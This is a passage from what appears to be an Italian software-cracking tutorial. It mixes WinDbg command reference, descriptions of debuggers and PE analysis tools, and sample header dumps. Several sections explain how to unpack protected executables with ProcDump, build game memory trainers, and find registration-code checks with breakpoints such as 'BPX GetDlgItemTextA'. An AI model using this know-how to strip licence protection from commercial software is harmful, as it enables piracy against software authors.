When entering ANSI or Unicode values, you can include space (" ") characters by enclosing the character string in quotation marks (" or '). If you enclose the string in double quotation marks, Windows Debugger will automatically null-terminate the string. Single quotation marks (') will not add a null character. You can enter standard C escape characters, such as \t, \007, and \".

Command	Definition	Fill
FIA	Fill ANSI	ANSI (extended ASCII) characters
FIB	Fill Bytes (char)	Byte values
FID	Fill Double Words (long)	Double-word (four-byte) values
FII	Fill 8-Byte Reals (double)	Floating-point numbers
FIS	Fill 4-Byte Reals (float)	Floating-point numbers
FIT	Fill 10-Byte Reals (long double)	Floating-point numbers
FIU	Fill Unicode	Unicode characters
FIW	Fill Words (short)	Word values

FR	**Floating-Point Registers**

G	**Go**

GH	**Go- Exception Handled**

GN	**Go- Exception Not Handled**

K, KB, KN, KS, KV	**Display Stack Backtrace**

Displays the stack frame of the given thread.

Syntax

[[thread]] K[BNSV] [[framecount]] [[=frameaddr stackaddr programcounter]]

Parameters

thread

The thread whose stack is to be displayed. For more information, see Process and Thread Syntax.

framecount

Number of stack frames to display.

frameaddr
stackaddr
programcounter

When examining a corrupted stack on an x86 computer, you can walk the uncorrupted portion of the stack by specifying its frame address, stack address, and program counter. This requires detailed knowledge of how the stack works.

Remarks

Each display line shows the name or address of the procedure called, the arguments used on the call, and the address of the statement that called it. You can use any or all of the options in a single command; for example, K, KB, and KBNSV are valid commands. The following table describes the effect of the options:

Option	Effect
none	Displays the basic call stack based on debugging information in the executable. It displays the frame pointer, return address, and function names.
B	Additionally displays the first three parameters of each function.
N	Additionally displays the frame numbers for each call.
S	Additionally displays source module and line number information for each call.
V	Additionally displays runtime function information.

L	**Restart Debuggee**

LM	**List Loaded Modules**

Lists the specified loaded modules.

Syntax

LM [/s [/o]] [/f] [modulename]

Parameters

/s

List segmented modules. If you do not specify a module name, LM will list all loaded modules.

/f

List flat modules.

/o

Sorts segmented modules by selector.

modulename

Module to list.

Remarks

If /f and /s are both absent from the command line, LM will assume both; the following two commands are equivalent:

```
> LM
> LM  /f  /s
```

Segmented modules are sorted by module name, then selector, unless you specified /o. Flat modules are sorted by base address.

LN   List Nearest Symbols

Displays the symbols at or near the given address. You can use this command to help determine what a pointer is pointing to. It also can be useful when looking at a corrupted stack to determine which procedure made a call.

Syntax

LN address

Parameters

address

The address to search for symbols.

M   Move Memory

N   Set Number Base

P   Program Step

Q   Quit WinDbg

R   Registers

Displays or modifies registers. If you do not specify a thread, the current thread is used.

This command is equivalent to clicking Registers from the View menu, or pressing ALT+4.

Syntax

[[thread]] R [[register [[=value]]]]

Parameters

thread

The thread from which the registers are to be read. For more information, see Process and Thread Syntax.

register

The register to display or modify.

value

The value to assign to the register.

Remarks

If you do not specify a register, all of the registers are displayed. If you specify a register, the command displays the current value of the register. If you specify both a register and a value, the command changes the register to contain the value.
Use the FR (Floating-Point Registers) command to view and modify floating-point registers.

REMOTE   Start Remote Server

RT   Register Display Toggle

S+, S-   Set Source/Assembly Mode

SA, SB, SD, SI, SS, ST, SU, SW   Search Memory

Searches though memory to find a specific byte pattern. If the pattern is found, Windows Debugger will display the first memory address in range where it was found.

Command	Fill
SA	ANSI (extended ASCII) characters
SB	Byte values
SD	Double-word (four-byte) values
SI	Floating-point numbers (8-byte)
SS	Floating-point numbers (4-byte)
ST	Floating-point numbers (10-byte)
SU	Unicode characters
SW	Word values

Syntax

S{A|B|D|I|S|T|U|W} range pattern

Parameters

range

The memory area to search through. For more information, see Range Syntax.

pattern

One or more byte values or ANSI or Unicode characters to search for. Separate multiple values with spaces.

Remarks

When entering numeric values to search for, you can use C-style radix prefixes to override the default radix. Prefix octal constants with a "0o" (for example 0o1776), hexadecimal constants with "0x" (for example 0xF000), and decimal constants with "0t" (for example 0t199).
When entering Unicode values to search for, you can include space (" ") characters by enclosing the character string in quotation marks (" or '). If you enclose the string in double quotation marks, Windows Debugger will automatically null-terminate the string. Single quotation marks (') will not add a null character. You can enter standard C escape characters, such as \t, \007, and \".

SX, SXD, SXE, SXN Set Exceptions

Controls the behavior of the debugger when trapping exceptions before executing exception-handling code. The debugger always halts before execution returns from the exception handler.

Command Action
SX Displays the events that the debugger will halt for.
SXD Causes the debugger to ignore the specified exception and issue an automatic GN command.
SXE Causes the debugger to halt at the specified exception.
SXN Causes the debugger to display a message before the exception is passed to the target application, and causes Windows Debugger to issue a GN command after the message is displayed.
Syntax

```
SX [[exception]]
SXE exception [[message]] [[/Ccmdlist1]] [[/C2cmdlist2]]
SX{D|N} exception [[message]] [[/C2cmdlist2]]
```

Parameters

exception

The exception number that the command acts upon, in the current radix. If you do not specify an exception, the SX command will display information on all exceptions.

message

Message to display in the command window when the exception is trapped.

cmdlist1

Semicolon-separated list of Windows Debugger commands to execute when an exception is first raised. The /C option is permitted only with the SXE command. Enclose in quotes if cmdlist1 includes spaces or semicolons.

cmdlist2

Semicolon-separated list of commands to execute after an exception has not been handled. Enclose in quotes if cmdlist2 includes spaces or semicolons.

Remarks

The /C option (allowed only with SXE) tells the debugger to execute the specified commands on the first chance (before the exception is passed to the application). The /C2 option tells the debugger to execute the specified commands on the second chance (if the exception is not handled by the debugger or the application). For more information, see the Platform SDK documentation on structured exception handling.
When the debugger stops due to an exception, only the GN (Go-- Exception Not Handled) and GH (Go-- Exception Handled) commands can be used to continue execution. The SXD and SXN commands automatically call GN.

T Trace

Executes the instruction or source line at the instruction pointer and displays the resulting values of all registers and flags. Use the P (Program Step) command to have the debugger execute subroutine calls or interrupts without returning control to the debugger.

This command is equivalent to clicking Step Into from the Debug menu, or pressing F11 or F8.

Syntax

[[thread]] T [[count]]

Parameters

thread

The thread to trace through. For more information, see Process and Thread Syntax.

count

The number of instructions or source lines (depending on the Source/Assembly mode) to step through before stopping.

U Unassemble

X Examine Symbols

Displays the symbols in all contexts that match pattern. If you do not specify any options, all except public symbols are searched. If you do not specify a pattern, all symbols will be displayed. To ignore case in the search, click Options from the View menu, click Debugger, and click Ignore Case.

Syntax

X[[options]] [[{ [[procedure]], [[module]], [[executable]] }]] [[pattern]]

Parameters

options

Specifies the scope of the symbol search. These options cannot be separated by spaces and must immediately follow the X (for example, XEM). Use the following letters to specify scope:

Letter	Scope
C	The current class.
E	All modules in the executable or DLL, except for the current module.
F	The current function.
G	All global symbols.
L	The current code block (lexical scope).
M	The current module.
P	All public symbols.

procedure, module, executable

The area to search. For example, {function1, srcfile.c, target.dll} will search function1 from srcfile.c in target.dll. This is identical to the breakpoint context operator.

pattern

A pattern to search for. The ? and * wildcards are supported.

Z Unfreeze Thread

Una caratteristica interessante è legata alla possibilità di usare il debugger per l'analisi dei post mortem.
Quando capita un pasticcio e il sistema salta viene ricercato nel registro il valore della voce :

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\AeDebug

Settate la seguente linea di comando.

windbg -p %ld -e %ld

Quando un programma salterà verà chiamato il debugger automaticamente.

PROGRAMMI CON BORLAND C

Alla pari dei programmi e delle utilities fornite con Microsoft Visual C++ anche con il Borland C vengono forniti alcuni software che possono essere utilizzati per vari scopi.
Il TURBO DEBUGGER è presente nel pacchetto per DOS, WINDOWS 16 e WINDOWS 32.
Anche la versione per Windows 95 dispone di un interfaccia a carattere.
La tipologia dei breakpoints settabili è abbastanza completa permettendo diverse funzioni.
TD permette inoltre il tracing dell'heap.
Le chiamate relative alle call sono composte in modo tale che è sempre possibile vedere a quale

modulo è indirizzata la chiamata.
Un utility fornita insieme è WINSIGHT che è paragonabile a Spy++.
WS permette di monitorare i messaggi relativi alle Windows presenti sul desktop.

WINHEX 8.32

Si tratta di uno dei pochi che dispone di un editor che permette di visualizzare direttamente i settori su disco senza doversi appoggiare ad un file.
Chiaramente bisogna prestare attenzione a non danneggiare qualche settore del disco critico.

SOFTICE 3.x – 4.x
SoftICE 3.24
http://www.numega.com

Voglio elencare tra gli altri SoftIce anche se di fatto a questo debugger è dedicato più avanti un intero capitolo.
Sicuramente qui parliamo del massimo anche se di fatto è abbastanza più complicato degli altri debugger.
Le complicazioni sono legate al numero enorme di funzionalità possedute dal programma.
La NuMega distribuisce tra lo shareware il debugger anche se di fatto è possibile trvare in giro i numeri di serie.
Penso che sia inutile ricordare che sul sistema di ricerca ASTALAVISTA (parodia ad Altavista) è possibile trovare i cracks di quasi tutti i programmi essistenti.
SoftIce possiede una parte caricata in memoria che viene attivata mediante la pressione dei tasti CTRL D o quelli settati mediante apposite istruzioni.
Inoltre SoftIce possiede un buffer che permette il back trace ovvero l'esecuzione a ritroso del codice.

PROCDUMP

ProcDump riesce ad eseguire un Dump su disco di un programma in esecuzione e ad

eseguire funzioni di unpack/decrypt su sistemi software tipo BJFNt, ENC, Activision Packer, Manolo, NeoLite, Petite, Securom, VBOX, Shrinker 3.2&3.3, WWPACK32 e molti altri.

Vbox è sicuramente uno dei più utilizzati per la gestione delle limitazioni del software a n giorni.
Molti sistemi di protezione sono cryptati in memoria per cui sono difficilmente debuggabili con software tipo SoftIce ecc.
ProcDump possiede diversi sistemi per bypassare diversi sistemi software e creare dei dump decodificati.
In alcuni casi ProcDump rende inutile l'utilizzo di debugger.
ProcDump possiede diverse opzioni che è possibile utilizzare a seconda del tipo di software con cui si ha a che fare.
La finestra a fianco mostra alcuni dei metodi di packing inclusi in procdump.
La seguente, invece, è una tabella trovata su internet a riguardo di ProcDump che mostra le varie opzioni.

Name	**Method**	**Options**	**Section To remove after**
BJFNT 1.x	***unknown***	**Create new import.**	**Last one.**
		Do not recompute obj.	
ENC 0.1	**Standard**	**Do not recompute obj.**	
HASIUK used	**HASIUK**	**Default**	**None**
by Activision	**/NeoLite**		
LOUIS Cryptor	**Standard**	**Default**	**Last section**
		Do not recompute obj.	
Manolo	**Manolo**	**Rebuild Import Table**	**.manolo section**
NeoLite x.xx	**HASIUK**	**Default**	**None**
	/NeoLite		
PECRYPT32	**none**		**Depend on version**
PELOAD	**Standard**	**Do not recompute obj.**	**.peload section**
PELOCK	**none**		**last one**
PEPACK	**PEPack**	**Rebuild Import Table**	**PEPACK!! section**
PESHiELD <0.2	**PESHiELD**	**Do not recompute obj.**	**ANAKIN98 section**
Petite	**Petite**	**Default**	**.petite section**
Petite	**Petite 2**	**Create new import**	**.petite section**
		U will need to fix	
		reloc pointer too.	
Securom	**Standard**	**Original CD required.**	**Better not touch ;)**
		Do not recompute obj.	
Shrinker 3.2	**Shrinker32**	**Ignore Faults**	**.load object at least**
		Rebuild Import Table	
Shrinker 3.3	**Shrinker33**	**Do not recompute obj.**	**None**
		Rebuild Import Table	
STNPE 1.xx	**Standard**	**Do not recompute obj.**	
TimeLock 3.x	**Vbox**	**Create new import**	**WeiJunLi section**
	std/Dialog	**Ignore Faults**	
VBox	**Vbox Std**	**Create new import**	**WeiJunLi section**
		Ignore Faults	
		Do not recompute obj.	
VBox with TRY	**Vbox**	**Create new import**	**WeiJunLi section**
dialog	**Dialog**	**Ignore Faults**	
		Do not recompute obj.	
WWPack32<1.10	**WWPACK32 I**	**Default**	**.WWP32 section**
WWPack32 1.10	**WWPACK32 II**	**Default**	**.WWP32 section**

WWPack32 1.11	WWPACK32 I	Default	.WWP32 section

REGSNAP
(c) 1998 Vitas Ramanchauskas, vitas@soft4you.com

Come dicevo prima spesso è utile analizzare e comparare la configurazione del sistema prima e dopo le installazioni di software.
RegSnap riesce a svolgere delle funzionalità di questo tipo in quanto scatta delle panoramiche al registro di windows, ai files system.ini e win.ini e alle directory \windows e \windows\system.
Dopo aver scattato queste foto al sistema è in grado di salvarle su disco e successivamente di confrontarle creando un file html in cui vengono riportate le differenze.
Esistono programmi che permettono di monitorare in tempo reale gli accessi al registro.
Uno di questi è REGMON.EXE che oltre ad avere questa possibilità può settare dei filtri per mettere sotto analisi solo i messaggi generati da alcune procedure.
Alcuni programmi controllano la presenza di questo tipo di analizzatori e generano errori nel momento in cui si accorgono di essere "osservati".
Personalmente preferisco i programmi che eseguono analisi in modo non dinamico.
Il programma REGEDIT fornito con windows è troppo rudimentale per essere utilizzaro in quanto permette soltanto di eseguire funzioni di scrittura o di lettura.
Installando un nuovo software è impossibile sapere quali voci inserirà , quali modificherà e quali cancellerà.
RegSnap, come ho già detto, è molto dettagliato anche se dai programmi di protezione bisogna attendersi qualche sutterfugio per bypassare questo tipo di utilities.

WINHACK

WinHack v2.00
http://www.malinverni.com
grant@malinverni.com

Alcuni lavori di questo tipo non sono orientati ad eliminare le limitazioni dei programmi ma invece il loro compito è quello di trovare delle cheat words per acquisire proprietà particolari nei giochi come ad esempio attraversare i muri, diventare invincibile ecc.
Uno dei problemi fondamentali negli attacchi ai programmi è quello legato al reperimento di stringhe, codici ecc. che permettano di creare le routines di crack.
Un programma adattissimo a fare ricerche in memoria eseguite su programmi già caricati e' WinHack.

WinHack è altamente specializzato in ricerche utilizzando diverse tipologie, 6 per la precisione, tra cui due tipi da 64 bits.
Il programma dispone internamente anche di un TrainerCreator interno.
WinHacker possiede una libreria di API che permette di agganciarsi a funzioni di ricerca da programmi nostri esterni.
Il sistema di ricerca di WinHack si basa sullo scatto di una panoramica iniziale e i successivi confronti alla ricerca di determinati valori.
In un programma di giochi esistono valori che indicano la potenza del personaggio, il suo stato di salute, la quantità di cibo ed altri valori.
Si carica il gioco e successivamente WinHack chiedendo di scattare la prima panoramica.
Ad un certo punto supponiamo che il valore di salute del personaggio sia passato dal 100 iniziale al 57 attuale.
A quest5o punto si cerca la locazione di memoria in cui il valore è cambiato da 100 a 57.
Trovato questo indirizzo si può modificare il suo valore come si vuole.
WinHack è in grado di creare i moduli memory trainer utilizzabili per settare i valori voluti al di fuori di WinHack.
Quando si cerca di attaccare un software bisogna seguire delle regole logiche che servano a stabilire quale è il metodo migliore per intervenire.
In primis guardiamo quali DLL e altri moduli il software carica al momento della sua attivazione.
Per fare questo esistono molti software tra i quali SCANBIN è uno di questi.
Una delle cose fondamentali è quella di sapere quali files sono caricati dal programma ed in particolar modo le api exportate.
SCANBIN dispone di un certo numero di opzioni selezionabili tramite voci di menu che permettono la visualizzazione di molti tipi di informazioni.
L'individuazione a priori delle funzioni utilizzate dalo programma in analisi permette di effettuare una scelta ottimale per quanto riguarda i tools scelti per eseguire il tracing e le altre funzioni.
Se richiedendo la visualizzazione delle funzioni importate vediamo che non compaiono nella lista quelle come GetDlgItemText o GetDlgItemInt dobbiamo supporre che le lettura

dei codici di attivazione viene fatta con altri sistemi, magari più nascosti appositamente.

L'individuazione del punto dove vengono controllati i codici allora deve avvenire tramite altre funzioni. Un metodo potrebbe essere quello legato all'identificazione del numero ID delle risorse. Questo identificatore potremmo ottenerlo tramite le funzioni di Spy++ a programma attivato oppure possiamo cercare di identificare gli ID della Dialog o degli oggetti della Dialog tramite la ricerca tra i dati mostrati da certi programmi.

```
comexp - General informations
General informations : c:\Programmi\COMExp\comexp.ex
==================================================
Last update      : 30/04/99
File size        : 169 472 byte(s)
Module type      : WINDOWS executable (32 bits)
FileDescription  : COM Explorer
FileVersion      : 1, 5, 2, 0
LegalCopyright   : Copyright © 1997-1999 4Developers
InternalName     : COMEXP
OriginalFilename : COMEXP.EXE
ProductName      : COM Explorer
```

Parlando di SCANBIN le informazioni riportate sono quelle mostrate nell'immagine, relativa al menu, qui a fianco.
Slezionando IMPORTED REFERENCES possiamo ottenere la lista dei riferimenti importati dal programma.
La seguente immagine mostra la tipologia delle informazioni inerenti a questa voce.
Si tratta delle funzioni importate dalle DLL esterne, proprie del programma e da quelle di sistema come ad esempio USER32, KERNEL32 ecc.

```
comexp - Imported functions
Imported functions : c:\Programmi\COMExp\comexp.exe
==================================================
ADVAPI32   194 RegCloseKey
ADVAPI32   198 RegCreateKeyExA
ADVAPI32   201 RegDeleteKeyA
ADVAPI32   206 RegEnumKeyExA
ADVAPI32   209 RegEnumValueA
ADVAPI32   217 RegOpenKeyExA
ADVAPI32   225 RegQueryValueExA
ADVAPI32   236 RegSetValueExA
COMCTL32    18 ImageList_AddMasked
```

Il nome del modulo da cui vengono importate è mostrato al fianco.
Queste informazioni sono quelle fondamentali mostrate anche da WDASM, SoftIce ecc.
Moduli legati ai settaggi, tra cui serializzazioni dei softwares, vengono mostrati anche dall'uso di funzioni legate appunto all'uso del registro come quelle, casualmente, mostrate a fianco (RegCloseKey ecc.)
SCANBIN mostra in ogni caso quelle che lui definisce informazioni generalizzate del programma.

```
comexp - DLL used
DLL used : c:\Programmi\COMExp\comexp.exe
==========================================
Direct calls
--------------------------------------------
ADVAPI32 = c:\Windows\SYSTEM\ADVAPI32.DLL
COMCTL32 = c:\Windows\SYSTEM\COMCTL32.DLL
COMDLG32 = c:\Windows\SYSTEM\COMDLG32.DLL
KERNEL32 = c:\Windows\SYSTEM\KERNEL32.DLL
MFC40    = c:\Windows\SYSTEM\MFC40.DLL
MSVCRT40 = c:\Windows\SYSTEM\msvcrt40.dll
OLE32    = c:\Windows\SYSTEM\OLE32.DLL
SHELL32  = c:\Windows\SYSTEM\SHELL32.DLL
USER32   = c:\Windows\SYSTEM\USER32.DLL
VERSION  = c:\Windows\SYSTEM\VERSION.DLL
```

Dal nostro punto di vista non contiene informazioni che ci possano interessare anche se alcune volte potrebbero servirci per vedere se il programma è stato riscritto.
Ci sono stati dei casi in cui le informazioni necessarie per la serializzazione sono state riscritte dentro al programma eseguibile stesso ed altre volte invece in file .OCX o .DLL che di fatto non erano tali.

```
comexp - Resources
------ ---- ------------------- ----------
Number Type Name                Identifier
------ ---- ------------------- ----------
     1 0009 Accelerator table   128
------ ---- ------------------- ----------
Number Type Name                Identifier
------ ---- ------------------- ----------
     3 000E Icons group         128
                                129
                                181
------ ---- ------------------- ----------
Number Type Name                Identifier
------ ---- ------------------- ----------
     1 0010 File version        1
------ ---- ------------------- ----------
Number Type Name                Identifier
------ ---- ------------------- ----------
     2 00F0 ???                 160
```

Un altra opzione di menu mostra le funzioni esportate.
Questo tipo di informazioni sono presenti soltanto nei moduli DLL o similia che esportano le loro funzioni

verso il mondo esterno.
Generalmente questa finestra risulta vuota se il programma analizzato è un file eseguibile.
Interessan6te è invece la lista delle DLL utilizzate.
Alcuni programmi come WDASM possiedono breakpoint che bloccano il programma quando questo esce dal modulo eseguibile per entrare in una funzione presente in una DLL esterna.
Sapere a priori quali DLL utilizza è comunque una cosa comoda in quanto ci permette di eseguire delle supposizioni su paramretri che non sono puramnte tecnici come ad esempio nomi sospetti di DLL.
La lista delle risorse, come ho detto prima, mostra le risorse del programma visualizzando il nome, se disponibile, e l'identificatore numerico.
Tra queste risorse sono presenti tutte quelle gestite con il resource editor del linguaggio di programmazione.
Se un dialog è creata tramite questo allora verrà mostrata in questa finestra.
Chiaramente deve essere gestita nel programma come risorsa e non creata con funzioni dinamiche che creano sull'istante le finestre.
Le DLL possono essere viste anche come un albero.
Il nostro programma potrebbe fare riferimento ad una funzione presente in una DLL la quale potrebbe riferirsi ad altre funzioni presenti in altre DLL, magari di sistema fornite in Windows.
Una particolare opzione ci permette di cedere l'albero delle chiamate.
Anche questa visualizzazione potrebbe aiutarci a far mente locale, in altre parole a schiarirci le idee anche perchè che crea i sistemi di protezione fà di tutto per confondere le persone.
L'opazione EXADECIMAL DUMP non fa altro se non mostrarci il file in formato ESADECIMALE come farebbe HIEW, HEXWORKSHOP, WINHEX ecc.
Non penso che sia una delle opzioni più utili di SCANBIN.
Una delle ultime opzioni è quella più complessa ma in molti casi è anche quella più utile in quanto ci riferisce informazioni sugli indirizzi ed in particolar modo all'header PE ecc.
La seguente lista mostra sequenzialmente le informazioni mostrate grazie a questa opzione.

```
Adresses tables : c:\Programmi\COMExp\comexp.exe
================================================
*** MS-DOS header (MH) ***
    00000000 =      5A4D : MS-DOS signature
    0000003C =      0080 : WINDOWS header offset (/MH)
    00000040 =           : MS-DOS stub program

*** PE File  ***
    PE File Header
    00000080 =  00004550 : WINDOWS signature
    00000084 =      014C : Machine (Intel 386)
    00000086 =      0006 : NumberOfSections
    00000088 =  3729EE3B : TimeDateStamp
    0000008C = 0000:0000 : PointerToSymbolTable
    00000090 =  00000000 : NumberOfSymbols
    00000094 =      00E0 : SizeOfOptionalHeader
    00000096 =      010E : Characteristics
```

```
                            -   File   is   executable   (no   unresolved   external
references)
                            - Line nunbers stripped from file
                            - Local symbols stripped from file
                            - 32 bit word machine
    PE Optional Header
    00000098 =      010B : Magic
    0000009A =       3.0 : Linker Version
    0000009C =  00010A00 : Size of Code
    000000A0 =  00018A00 : Size of Initialized Data
    000000A4 =  00000000 : Size of UnInitialized Data
    000000A8 =  000116D0 : Address of Entry Point
    000000AC =  00001000 : Base of Code
    000000B0 =  00012000 : Base of Data
    000000B4 =  00400000 : Image Base
    000000B8 =  00001000 : Section Alignment
    000000BC =  00000200 : File Alignment
    000000C0 =       4.0 : Operating System Version
    000000C4 =       0.0 : Image Version
    000000C8 =       4.0 : Subsystem Version
    000000CC =  00000000 : (Reserved)
    000000D0 =  0002C000 : Size of Image
    000000D4 =  00000400 : Size of Headers
    000000D8 =  00000000 : CheckSum
    000000DC =      0002 : SubSystem
    000000DE =      0000 : DLL Characteristics
    000000E0 =  00100000 : Size of Stack Reserve
    000000E4 =  00001000 : Size of Stack Commit
    000000E8 =  00100000 : Size of Heap Reserve
    000000EC =  00001000 : Size of Heap Commit
    000000F0 =  00000000 : Loader Flags
    000000F4 =  00000010 : Number of Rva And Sizes
    Image Data Directories
    000000F8 =  (unused) : (0)Export Directory
    00000100 =  00019000 : (1)Import Directory
    00000108 =  0001B000 : (2)Resource Directory
    00000110 =  (unused) : (3)Exception Directory
    00000118 =  (unused) : (4)Security Directory
    00000120 =  00029000 : (5)Base Relocation Table
    00000128 =  (unused) : (6)Debug Directory
    00000130 =  (unused) : (7)Description String
    00000138 =  (unused) : (8)Machine Value (MIPS GP)
    00000140 =  (unused) : (9)TLS Directory
    00000148 =  (unused) : (10)Load Configuration Directory
*** Section Headers (number=6) ***
    00000178 =     .text : ( 1)
    00000180 =  00010942 : Physical Address
    00000184 =  00001000 : Virtual Address
    00000188 =  00010A00 : Size of Raw Data
    0000018C =  00000400 : Pointer to Raw Data
    0000019C =  60000020 : Characteristics     :
                            - alignment on 16 bytes
                            - contains code
    000001A0 =    .rdata : ( 2)
    000001A8 =  00004D60 : Physical Address
    000001AC =  00012000 : Virtual Address
    000001B0 =  00004E00 : Size of Raw Data
    000001B4 =  00010E00 : Pointer to Raw Data
    000001C4 =  40000040 : Characteristics     :
                            - alignment on 16 bytes
                            - contains initialized data
    000001C8 =     .data : ( 3)
    000001D0 =  00001FF4 : Physical Address
```

```
    000001D4 =  00017000 : Virtual Address
    000001D8 =  00001E00 : Size of Raw Data
    000001DC =  00015C00 : Pointer to Raw Data
    000001EC =  C0000040 : Characteristics     :
                           - alignment on 16 bytes
                           - contains initialized data
    000001F0 =    .idata : ( 4)
    000001F8 =  000014B6 : Physical Address
    000001FC =  00019000 : Virtual Address
    00000200 =  00001600 : Size of Raw Data
    00000204 =  00017A00 : Pointer to Raw Data
    00000214 =  C0000040 : Characteristics     :
                           - alignment on 16 bytes
                           - contains initialized data
    00000218 =     .rsrc : ( 5)
    00000220 =  0000DC9C : Physical Address
    00000224 =  0001B000 : Virtual Address
    00000228 =  0000DE00 : Size of Raw Data
    0000022C =  00019000 : Pointer to Raw Data
    0000023C =  40000040 : Characteristics     :
                           - alignment on 16 bytes
                           - contains initialized data
    00000240 =    .reloc : ( 6)
    00000248 =  0000278E : Physical Address
    0000024C =  00029000 : Virtual Address
    00000250 =  00002800 : Size of Raw Data
    00000254 =  00026E00 : Pointer to Raw Data
    00000264 =  42000040 : Characteristics     :
                           - alignment on 16 bytes
                           - contains initialized data
*** Directories/Sections Locations ***
    00017A00 =  .idata   : Import Directory
    00019000 =  .rsrc    : Resource Directory
    00026E00 =  .reloc   : Base Relocation Table
```

Quando si tratta la teoria della programmazione si tende sempre a suddividere il tutto in due parti e precisamente nella parte dichiarativa e quella algoritmica.
Nella prima fase si prende in osservazione il problema e si cerca di ricavarne più informazioni possibili giudicate utili od indispensabili per il raggiungimento di una finalità.
La seconda fase è quella in cui questi dati vengono presi e manipolati dalle sequenze di istruzioni.
Nel nostro caso potremmo appunto creare un parallelismo logico con quanto detto prima.
Partiamo dal presupposto che chi scrive moduli destinati alla protezione di programmi non crea codice che sia facilmente identificabile per cui individuare i punti in cui vengono eseguiti i controlli può essere un compito arduo.
Una buona analisi iniziale permette di adottare le tecniche più idonee.
Inizialmente prendete i programmi che permettano di eseguire analisi dei file eseguibili e cercate di capire dove si trovano le routines di richiesta codici.
Se non vi è possibile farlo tramite la ricerca di funzioni quali GetDlgItemText e similia cercate i messaggi d'errore del tipo 'Codice errato' e cercate di identificare dove gli indirizzi di queste stringhe vengono trattate per eseguire le stampe.
Se non riuscite ad identificare niente delle cose precedenti attivate il programma e posizionatevi sulla finestra di richiesta del codice.
Con Spy++ richiedete il numero d' ID della dialog o dei vari campi d'edit utilizzati.
Se non disponete di Spy++ cercate gli ID con ScanBin ecc.
Ottenuti questi dati utilizzateli dentro ai debugger.
SoftIce possiede una vasta gamma di breakpoint che vi permettono d'interrompere l'esecuzione del programma per vari motivi.
Potete intercettare messaggi :

bmsg WM_INITDIALOG
bmsg WM_PAINT

Insomma, cercate prima di iniziare il debugging di avere le idee chiare sul tipo di tecnica da utilizzare.
SoftIce è molto potentre ma è necessario sapere bene che cosa si vuole per usare in modo appropriato i sui strumenti.
WDASM è più semplice ed anche meno potente per certe cose ma è più indicato, avendo gran parte dei comandi a pulsante, quando si hanno le idee più confuse.
Un buon programma che nel caso in cui si passi come argomento un file eseguibile restituisce un gran numero d'informazioni è QuickView Plus.
La seguente tabella mostra i tipi di dati visualizzati relativi ad un programma eseguibile.
Ho troncato i dati in quanto sarebbero stati troppi.
L'importante è rendere l'idea sulla tipologia delle informazioni restituite.

WINDOWS EXECUTABLE
32bit for Windows 95 and Windows NT

Technical File Information:

Image File Header

Signature:	**00004550**
Machine:	**Intel 386**
Number of Sections:	**0008**
Time Date Stamp:	**2a425e19**
Symbols Pointer:	**00000000**
Number of Symbols:	**00000000**
Size of Optional Header	**00e0**
Characteristics:	**File is executable (i.e. no unresolved external references).** **Line numbers stripped from file.** **Local symbols stripped from file.** **Low bytes of machine word are reversed.** **32 bit word machine.** **High bytes of machine word are reversed.**

Image Optional Header

Magic:	**010b**
Linker Version:	**2.25**
Size of Code:	**0008a000**
Size of Initialized Data:	**00022800**
Size of Uninitialized Data:	**00000000**
Address of Entry Point:	**0008ad38**
Base of Code:	**00001000**
Base of Data:	**0008b000**
Image Base:	**00400000**
Section Alignment:	**00001000**
File Alignment:	**00000200**
Operating System Version:	**1.00**
Image Version:	**0.00**
Subsystem Version:	**4.00**
Reserved1:	**00000000**
Size of Image:	**000b2000**
Size of Headers:	**00000400**
Checksum:	**00000000**
Subsystem:	**Image runs in the Windows GUI subsystem.**
DLL Characteristics:	**0000**
Size of Stack Reserve:	**00100000**

```
   Size of Stack Commit:  00004000
   Size of Heap Reserve:  00100000
    Size of Heap Commit:  00001000
           Loader Flags:  00000000
 Size of Data Directory:  00000010
Import Directory Virtual Address:   e000
  Import Directory Size:  23e6
      Resource Directory
        Virtual Address:  b000
Resource Directory Size:  6e00
   Base Relocation Table
        Virtual Address:  3000
Base Relocation Table Size:   79f4
TLS Directory Virtual Address:      2000
     TLS Directory Size:  0018
```

Import Table

```
      kernel32.dll
      OrdinalFunction Name

      0000  DeleteCriticalSection
      0000  LeaveCriticalSection
      0000  EnterCriticalSection
      0000  InitializeCriticalSection
      0000  VirtualFree
      0000  VirtualAlloc
      .....

      user32.dll
      Ordinal     Function Name

      0000  GetKeyboardType
      0000  LoadStringA
      0000  MessageBoxA
```

Section Table

```
           Section name:  CODE
           Virtual Size:  00089e14
        Virtual Address:  00001000
       Size of raw data:  0008a000
    Pointer to Raw Data:  00000400
 Pointer to Relocations:  00000000
Pointer to Line Numbers:  00000000
  Number of Relocations:  0000
 Number of Line Numbers:  0000
        Characteristics:  Section contains code
                          Section is executable
                          Section is readable
```

Header Information

```
              Signature:  5a4d
         Last Page Size:  0050
    Total Pages in File:  0002
       Relocation Items:  0000
   Paragraphs in Header:  0004
Minimum Extra Paragraphs: 000f
Maximum Extra Paragraphs: ffff
  Initial Stack Segment:  0000
```

```
  Initial Stack Pointer:  00b8
  Complemented Checksum:  0000
Initial Instruction Pointer:  0000
   Initial Code Segment:  0000
Relocation Table Offset:  0040
         Overlay Number:  001a
               Reserved:  0000 0000 0000 0000
                          0000 0000 0000 0000
                          0000 0000 0000 0000
                          0000 0000 0000 0000
   Offset to New Header:  00000100
      Memory Needed:    1K
```

Le informazioni troncate erano relative alle funzioni esportate le quali sono mostrate suddivise per DLL da cui derivano.
Inoltre ho tagliato le informazioni legate ai segmenti lasciando solo quelle relative al CODE segment.
L'analisi di queste informazioni è il punto di partenza in quanto vedendo le funzioni usate permette di capire quali sono i metodi PROBABILMENTE utilizzati per certi scopi quali ad esempio la lettura dei codici di registrazione, per la comparazione ecc.
L'identificazione delle funzioni corrette usate per leggere i codici di registrazione semplificano la creazione e l'attivazione dei breakpoint adatti dove interrompere il codice per analizzare il processo di comparazione.
Se la tabella precedente vi mostra la presenza di una funzione del tipo GetDlgItemTextA, sapendo che questa viene usata per leggere dati da campi d'edit, allora potreste usare i comandi per la creazione di breakpoint, di SoftIce ad ezsempio, nel seguente modo:

BPX GetDlgItemTextA

Questa istruzione bloccherebbe l'esecuzione del programma riportandovi alla linea di codice assembler dove è stata fatta la chiamata.
Da quel punto, eseguendo passo a passo potreste cercare di capire il funzionamento della routine.

TR for Win95 (ShareWare version)
LiuTaoTao in China
liutt@371.net
ayliutt@hotmail.com
http://www.netease.com/~ayliutt

Un debugger non molto complicato ma abbastanza buono è TRW i quale possiede funzioni specifiche per i files PE.
